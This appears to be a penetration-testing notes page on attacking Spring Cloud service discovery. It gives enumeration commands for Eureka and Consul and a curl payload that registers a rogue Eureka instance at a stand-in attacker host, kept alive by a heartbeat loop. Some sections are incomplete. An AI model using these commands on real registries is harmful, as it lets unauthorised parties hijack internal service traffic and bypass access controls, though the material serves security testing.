Page cover
githubEdit

cloudSpring Cloud

Attacking Service Discovery in Spring Cloud Architectures

chevron-rightSecurity Checklisthashtag
chevron-rightComponentshashtag
circle-info

Service Discovery (Eureka)

  • Netflix Eureka acts as a service registry where microservices register themselves and discover other services.

  • By default, Eureka Server runs on port 8761 and provides both a web dashboard and REST API.

circle-info

Spring Cloud Config Server

Centralized configuration management system that serves configuration to distributed applications. Default port is 8888.

circle-info

Spring Cloud Gateway

API gateway that provides routing, load balancing, and security features for microservices.

circle-info

Spring Cloud Function

Enables serverless programming with support for AWS Lambda, Azure Functions, and Google Cloud Functions.

chevron-rightIdentifying the Discovery Mechanismhashtag
circle-info

Netflix Eureka

  • Default port: 8761

  • Web UI path: http://target:8761/

  • API endpoints: /eureka/apps, /eureka/apps/{service}

  • Response headers often include: X-Application-Context

  • Java-based

circle-info

HashiCorp Consul

  • Default ports: 8500 (HTTP), 8600 (DNS), 8300-8302 (Server RPC)

  • Web UI path: http://target:8500/ui/

  • API endpoints: /v1/catalog/services, /v1/agent/services

  • Response headers: X-Consul-* headers

  • Written in Go

circle-info

Kubernetes Native

  • DNS-based service discovery (CoreDNS)

  • Default ports: 6443 (API server), 10250 (kubelet), 10251 (scheduler), 10252 (controller)

  • API endpoint: https://target:6443/api/v1

  • Service DNS format: service-name.namespace.svc.cluster.local

  • Environment variables in pods: KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT

circle-info

Apache Zookeeper

  • Default port: 2181 (client connections), 2888 (follower), 3888 (election)

  • Uses custom protocol

  • Often used with Kafka, Hadoop ecosystems

circle-info

etcd

  • Default ports: 2379 (client), 2380 (peer)

  • API endpoints: /v2/keys, /v3/kv

  • Used heavily by Kubernetes for cluster state

chevron-rightExploiting HashiCorp Consulhashtag
circle-info

Service Enumeration

List all registered services
curl http://target:8500/v1/catalog/services
Get service details
curl http://target:8500/v1/catalog/service/web
List all nodes
curl http://target:8500/v1/catalog/nodes
# Query via DNS
dig @target -p 8600 web.service.consul SRV
dig @target -p 8600 web.service.consul A
circle-info

ACL Status Check

Check if ACLs are enabled
curl http://target:8500/v1/acl/bootstrap
If ACLs disabled, you'll get services without auth
curl http://target:8500/v1/agent/services
chevron-rightAttacking Service Discovery - Eurekahashtag
circle-info

Finding Eureka Servers

Port scan
nmap -p 8761 target-range
Shodan
eureka port:8761
HTTP probe
curl http://target:8761/
circle-info

Eureka Dashboard Access: http://target:8761/

circle-info

API Enumeration

List all applications
curl http://target:8761/eureka/apps
Get specific application
curl http://target:8761/eureka/apps/SERVICE-NAME
Get instance info
curl http://target:8761/eureka/apps/SERVICE-NAME/instance-id
chevron-rightRogue Service Registration - Eurekahashtag
Once you have identify the service, register a malicious one:
curl -X POST http://username:password@target:8761/eureka/apps/TARGET-SERVICE \
  -H "Content-Type: application/json" \
  -d '{
    "instance": {
      "hostName": "attacker-server.com",
      "app": "TARGET-SERVICE",
      "ipAddr": "ATTACKER-IP",
      "port": {
        "$": 8080,
        "@enabled": true
      },
      "securePort": {
        "$": 443,
        "@enabled": false
      },
      "status": "UP",
      "homePageUrl": "http://attacker-server.com:8080/",
      "statusPageUrl": "http://attacker-server.com:8080/actuator/info",
      "healthCheckUrl": "http://attacker-server.com:8080/actuator/health",
      "dataCenterInfo": {
        "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
        "name": "MyOwn"
      }
    }
  }'
Maintain registration by sending heartbeats:
while true; do
  curl -X PUT http://target:8761/eureka/apps/TARGET-SERVICE/instance-id
  sleep 30
done
chevron-rightService Impersonation via Gateway - Eurekahashtag
  1. Find service mapped to root path / in gateway configuration

  2. Identify internal service you want to access (e.g., secretservice)

  1. Gateway will load balance between legitimate and malicious instances

  2. Requests through gateway may hit internal service, bypassing access controls

chevron-rightService Deregistration Attacks - Eurekahashtag
chevron-rightMetadata Poisoninghashtag
circle-info

If metadata is displayed in dashboards or consumed by services without sanitization, this can lead to XSS or configuration injection.

Last updated